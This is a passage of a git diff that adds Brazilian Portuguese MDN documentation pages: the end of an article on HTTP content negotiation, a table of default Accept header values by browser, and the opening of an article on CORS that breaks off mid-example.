arbitrária.</li> + <li>A informação do cliente é bastante verbosa (a compressão de cabeçalhos do HTTP/2 mitiga este problema) e um risco à privacidade (impressão digital HTTP).</li> + <li>Como diversas represnetações de um recurso são enviadas, caches compartilhados são menos eficiantes e, implementações de servidor, mais complexas.</li> +</ul> + +<h3 id="The_Accept_header">The <code>Accept</code> header</h3> + +<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p> + +<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p> + +<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p> +</div> + +<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Value</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Device-Memory</code></td> + <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td> + </tr> + <tr> + <td><code>DPR</code></td> + <td>Indicates the client's device pixel ratio.</td> + </tr> + <tr> + <td><code>Viewport-Width</code></td> + <td>Indicates the layout viewport width in CSS pixels. </td> + </tr> + <tr> + <td><code>Width</code></td> + <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td> + </tr> + </tbody> +</table> + +<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3> + +<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p> + +<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p> + +<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p> +</div> + +<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p> + +<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3> + +<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p> + +<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p> + +<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3> + +<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p> + +<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p> + +<ul> + <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li> + <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li> +</ul> + +<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3> + +<div class="note"> +<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p> +</div> + +<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p> + +<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p> + +<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3> + +<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p> + +<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p> + +<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p> + +<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2> + +<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p> + +<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> + +<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p> diff --git a/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.html new file mode 100644 index 0000000000..b0d9223961 --- /dev/null +++ b/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -0,0 +1,264 @@ +--- +title: Lista de valores padrões de Accept +slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values +tags: + - Accept + - HTTP + - Negociação de conteúdo + - Referencia +translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">Este artigo documenta os valores padrão para o cabeçalho HTTP <code><a href="/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> para entradas e versões específicas do navegador.</span></p> + +<h2 id="Valores_padrão">Valores padrão</h2> + +<p>Estes são os valores enviados quando o contexto não fornece mais informações. Observe que todos os navegadores adicionam o tipo MIME <code>*/*</code> para cobrir todos os casos. Isso é normalmente usado para solicitações iniciadas por meio da barra de endereços de um navegador ou por meio de um elemento HTML {{HTMLElement("a")}}.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Valor</th> + <th>Comentário</th> + </tr> + <tr> + <td>Firefox</td> + <td> + <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (desde o Firefox 66)<br> + <br> + <code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code> (no Firefox 65)<br> + <br> + <code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (antes)</p> + </td> + <td> + <p>No Firefox 65 e versões anteriores, esse valor pode ser modificado usando o parâmetro <a class="external" href="http://kb.mozillazine.org/Network.http.accept.default" title="http://kb.mozillazine.org/Network.http.accept.default"><code>network.http.accept.default</code></a>. (<a href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l1750">fonte</a>)</p> + </td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td> + + + <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8</code></p> + + + </td> + <td> + <p>(<a href="/en-US/docs/">fonte</a>)</p> + </td> + </tr> + <tr> + <td>Safari 5</td> + <td> + <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code></p> + </td> + <td>Esta é uma melhoria em comparação com os cabeçalhos <code>Accept</code> já que não mais classifica <code>image/png</code> acima de <code>text/html</code></td> + </tr> + <tr> + <td>Internet Explorer 8</td> + <td><code>image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (blog de MSDN da IEInternals)</a>.</td> + </tr> + <tr> + <td>Edge</td> + <td><code><font face="Consolas, Liberation Mono, Courier, monospace">text/html, application/xhtml+xml, image/jxr, */*</font></code></td> + <td></td> + </tr> + <tr> + <td>Opera</td> + <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1</code></td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Valores_para_uma_imagem">Valores para uma imagem</h2> + +<p>Ao solicitar uma imagem, como por meio de um elemento HTML {{HTMLElement("img")}}, user-agent geralmente define uma lista específica de tipos de mídia para ser recebida.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Valor</th> + <th>Comentário</th> + </tr> + <tr> + <td>Firefox</td> + <td> + <p><code>image/webp,*/*</code> (desde o Firefox 65)<br> + <code>*/*</code> (desde o Firefox 47)<br> + <code>image/png,image/*;q=0.8,*/*;q=0.5</code> (antes)</p> + </td> + <td>Esse valor pode ser modificado usando o parâmetro <code>image.http.accept</code>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l4735" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Safari</td> + <td><code>*/*</code></td> + <td></td> + </tr> + <tr> + <td>Chrome</td> + <td><code>image/webp,image/apng,image/*,*/*;q=0.8</code></td> + <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#99" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Internet Explorer 8 ou anterior</td> + <td><code>*/*</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (blog de MSDN da IEInternals)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)</a></td> + </tr> + </tbody> +</table> + +<h2 id="Valores_para_um_vídeo">Valores para um vídeo</h2> + +<p>Quando um vídeo é solicitado, via o elemento HTML {{HTMLElement("video")}}, a maioria dos navegadores usam valores específicos.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Valor</th> + <th>Comentário</th> + </tr> + <tr> + <td>Firefox anterior a 3.6</td> + <td><em>sem suporte a {{HTMLElement("video")}}</em></td> + <td></td> + </tr> + <tr> + <td>Firefox 3.6 e posterior</td> + <td><code>video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5</code></td> + <td>veja <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">bug 489071</a> <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLVideoElement.cpp#l136" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Chrome</td> + <td><code>*/*</code></td> + <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Internet Explorer 8 ou anterior</td> + <td><em>sem suporte a {{HTMLElement("video")}}</em></td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Valores_para_recursos_de_áudio">Valores para recursos de áudio</h2> + +<p>Quando um arquivo de áudio é solicitado, como via o elemento HTML {{HTMLElement("audio")}}, a maioria dos navegadores usam valores específicos.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Value</th> + <th>Comment</th> + </tr> + <tr> + <td>Firefox 3.6 e posterior</td> + <td><code>audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5</code></td> + <td>Veja <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">bug 489071</a> <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLAudioElement.cpp#l81" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td><code>*/*</code></td> + <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Internet Explorer 8 ou anterior</td> + <td><em>sem suporte para {{HTMLElement("audio")}}</em></td> + <td></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td>?</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Valores_para_scripts">Valores para scripts</h2> + +<p>Quando um script é solicitado, como via o elemento HTML {{HTMLElement("script")}}, alguns navegadores usam valores específicos.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Valor</th> + <th>Comentário</th> + </tr> + <tr> + <td>Firefox</td> + <td><code>*/*</code></td> + <td>Veja <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">bug 170789</a></td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td><code>*/*</code></td> + <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Internet Explorer 8 ou anterior</td> + <td><code>*/*</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (blog de MSDN da IEInternals)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>application/javascript, */*;q=0.8</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)</a></td> + </tr> + </tbody> +</table> + +<h2 id="Valores_para_uma_folha_de_estilo_CSS">Valores para uma folha de estilo CSS</h2> + +<p>Quando uma folha de estilo CSS é solicitada, via o elemento HTML <code><link rel="stylesheet"></code>, a maioria dos navegadores usam valores específicos.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>User Agent</th> + <th>Valor</th> + <th>Comentário</th> + </tr> + <tr> + <td>Firefox 4</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td>Veja <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">bug 170789</a> <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/layout/style/Loader.cpp#l1548" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Internet Explorer 8 ou anterior</td> + <td><code>*/*</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header (blog de MSDN da IEInternals)</a></td> + </tr> + <tr> + <td>Internet Explorer 9</td> + <td><code>text/css</code></td> + <td>Veja <a class="external" href="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)</a></td> + </tr> + <tr> + <td>Safari, Chrome</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#98" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">fonte</span></a></td> + </tr> + <tr> + <td>Opera 11.10</td> + <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 </code></td> + <td></td> + </tr> + <tr> + <td>Konqueror 4.6</td> + <td><code>text/css,*/*;q=0.1</code></td> + <td></td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/controle_acesso_cors/index.html b/files/pt-br/web/http/controle_acesso_cors/index.html new file mode 100644 index 0000000000..51470f94b7 --- /dev/null +++ b/files/pt-br/web/http/controle_acesso_cors/index.html @@ -0,0 +1,553 @@ +--- +title: Cross-Origin Resource Sharing (CORS) +slug: Web/HTTP/Controle_Acesso_CORS +tags: + - AJAX + - CORS + - HTTP + - XMLHttpRequest +translation_of: Web/HTTP/CORS +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Glossary("CORS")}} - Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais {{Glossary("HTTP")}} para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma <strong>requisição <em>cross-origin</em> HTTP </strong>ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem.</p> + +<p>Um exemplo de requisição <em>cross-origin</em>: o código JavaScript <em>frontend </em>de um aplicativo web disponível em <code>http://domain-a.com</code> usa {{domxref ("XMLHttpRequest")}} para fazer uma requisição para <code>http://api.domain-b.com/data.json</code>.</p> + +<p>Por motivos de segurança, navegadores restringem requisições <em>cross-origin</em> HTTP iniciadas por scripts. Por exemplo, <code>XMLHttpRequest</code> e <a href="/pt-BR/docs/Web/API/Fetch_API">Fetch API</a> seguem a <a href="/en-US/docs/Web/Security/Same-origin_policy">política de mesma origem</a> (<em>same-origin policy</em>). Isso significa que um aplicativo web que faz uso dessas APIs só poderá fazer solicitações para recursos de mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> + +<p>O mecânismo CORS suporta requisições seguras do tipo <em>cross-origin e </em>transferências de dados entre navegadores e servidores web. Navegadores modernos usam o CORS em uma API contêiner, como <code>XMLHttpRequest</code> ou <a href="/pt-BR/docs/Web/API/Fetch_API">Fetch</a>, para ajudar a reduzir os riscos de requisições <em>cross-origin</em> HTTP.</p> + +<h2 id="Quem_deve_ler_este_artigo">Quem deve ler este artigo?</h2> + +<p>Todos, realmente.</p> + +<p>Este artigo destina-se a administradores da Web, desenvolvedores de servidores e desenvolvedores front-end. Os navegadores modernos lidam com os componentes do lado cliente em compartilhamento entre origens, incluindo cabeçalhos e aplicação de políticas. Mas esse novo padrão significa que os servidores precisam lidar com novos cabeçalhos de requisição e resposta. Outro artigo para desenvolvedores de servidores que discutem <a href="en-US/docs/Web/HTTP/Server-Side_Access_Control">compartilhamento <em>cross-origin</em> a partir de uma perspectiva de servidor (com fragmentos de código PHP)</a>, pode ser uma leitura complementar.</p> + +<h2 id="Quais_solicitações_usam_o_CORS">Quais solicitações usam o CORS?</h2> + +<p>Esse <a href="https://fetch.spec.whatwg.org/#http-cors-protocol">padrão de compartilhamento <em>cross-origin</em></a> é usado para habilitar solicitações HTTP entre sites para:</p> + +<ul> + <li>Chamadas {{domxref("XMLHttpRequest")}} ou <a href="/pt-BR/docs/Web/API/Fetch_API">Fetch API</a> pela comunicação entre origens diferentes, tal como discutido acima.</li> + <li>Web Fonts (para o uso de fontes pelo <em>cross-domain</em> em <code>@font</code> do CSS), <a href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">para que os servidores possam implantar fontes TrueType que só podem ser carregadas em origens diferentes e usadas por sites com autorização para isso</a>.</li> + <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Texturas WebGL</a>.</li> + <li><em>Frames </em>de Imagens/vídeos desenhados em uma tela usando {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}.</li> +</ul> + +<p>Este artigo é uma discussão geral sobre <em>Cross-Origin Resource Sharing</em> (Compartilhamento de recursos com origens diferentes) e inclui uma discussão de cabeçalhos HTTP necessários.</p> + +<h2 id="Visão_Geral">Visão Geral</h2> + +<p>O padrão <em>Cross-Origin Resource Sharing</em> trabalha adicionando novos <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">cabeçalhos HTTP</a> que permitem que os servidores descrevam um conjunto de origens que possuem permissão a ler uma informação usando o navegador. Além disso, para métodos de requisição HTTP que podem causar efeitos colaterais nos dados do servidor (em particular, para métodos HTTP diferentes de {{HTTPMethod("GET")}} ou para uso de {{HTTPMethod("POST")}} com certos <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>), a especificação exige que navegadores "pré-enviem" a requisição, solicitando os métodos suportados pelo servidor com um método de requisição HTTP {{HTTPMethod("OPTIONS")}} e, após a "aprovação", o servidor envia a requisição verdadeira com o método de requisição HTTP correto. Servidores também podem notificar clientes se "credenciais" (incluindo <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Cookies</a> e dados de autenticação HTTP) devem ser enviadas com as requisições.</p> + +<p>Falhas no CORS resultam em erros, mas por questões de segurança, detalhes sobre erros não estão disponíveis no código JavaScript. O código tem apenas conhecimento de que ocorreu um erro. A única maneira para determinar especificamente o que ocorreu de errado é procurar no console do navegador por mais detalhes.</p> + +<p>Seções subsequentes discutem cenários, assim como fornecem um detalhamento dos cabeçalhos HTTP utilizados.</p> + +<h2 id="Exemplos_de_cenários_com_controle_de_acesso">Exemplos de cenários com controle de acesso</h2> + +<p>Aqui, apresentamos três cenários que ilustram como <em>Cross-Origin Resource Sharing</em> funciona. Todos estes exemplos usam o objeto {{domxref("XMLHttpRequest")}}, que pode ser utilizado para fazer requisições entre origens em qualquer navegador compatível.</p> + +<p>Os snippets JavaScript inclusos nessas seções (e instâncias executáveis de código do lado servidor que tratam corretamente essas requisições entre origens) podem ser encontrados "em ação" aqui: <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, e irão funcionar em navegadores que suportam <code>XMLHttpRequest</code> entre origens.</p> + +<p>Uma discussão sobre <em>Cross-Origin Resource Sharing</em> a partir da perspectiva do servidor (incluindo snippets de código PHP) pode ser encontrada no artigo <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p> + +<h3 id="Requisições_simples">Requisições simples</h3> + +<p>Algumas requisições não acionam um <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">pré-envio CORS</a>. Essas são denominadas neste artigo como “requisições simples” (<em>simple request</em>), embora a especificação {{SpecName('Fetch')}} (que define CORS) não utilize esse termo. Uma requisição que não aciona um <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">pré-envio CORS</a> — denominada “requisição simples” — é uma que <strong>atende todas as seguintes condições</strong>:</p> + +<ul> + <li>Os únicos métodos permitidos são: + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li>Além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">qualquer um dos outros cabeçalhos com nomes definidos na especificação Fetch como “<em>forbidden header name</em>”</a>), os únicos cabeçalhos que podem ser definidos manualmente são <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">aqueles cujo a especificação Fetch define como sendo um “<em>CORS-safelisted request-header</em>”</a>, que são: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li>{{HTTPHeader("Downlink")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>Os únicos valores permitidos para o {{HTTPHeader("Content-Type")}} do cabeçalho são: + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>Nenhum <em>event listener</em> é registrado em qualquer objeto {{domxref("XMLHttpRequestUpload")}} usado na requisição, estes são acessados usando a propriedade {{domxref("XMLHttpRequest.upload")}}.</li> + <li>Nenhum objeto {{domxref("ReadableStream")}} é usado na requisição.</li> +</ul> + +<div class="note"><strong>Nota:</strong> Esses são os mesmos tipos de requisições entre origens distintas que o conteúdo da web já pode realizar e nenhum dado dado de resposta é liberado ao solicitante, a menos que o servidor envie um cabeçalho adequado. Portanto, sites que impedem a falsificação de requisições entre origens não tem nada a temer em relação ao controle de acesso HTTP.</div> + +<div class="note"><strong>Nota:</strong> O WebKit Nightly e Safari Technology Preview impõem restrições adicionais nos valores permitidos nos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso algum destes cabeçalhos tenham valores ”não-padronizados”, o WebKit/Safari não considera que a requisição atenda as condições para uma “requisição simples”. O que o WebKit/Safari considera valores “não-padronizados” para estes cabeçalhos não é documentado exceto nos seguintes bugs do WebKit: <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> e <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.</div> + +<p>Por exemplo, suponha que o conteúdo web no domínio <code class="plain">http://foo.example</code> deseje chamar (<code>invocation</code> do exemplo abaixo) um outro conteúdo no domínio <code class="plain">http://bar.other</code>. Esse código Javascript pode estar 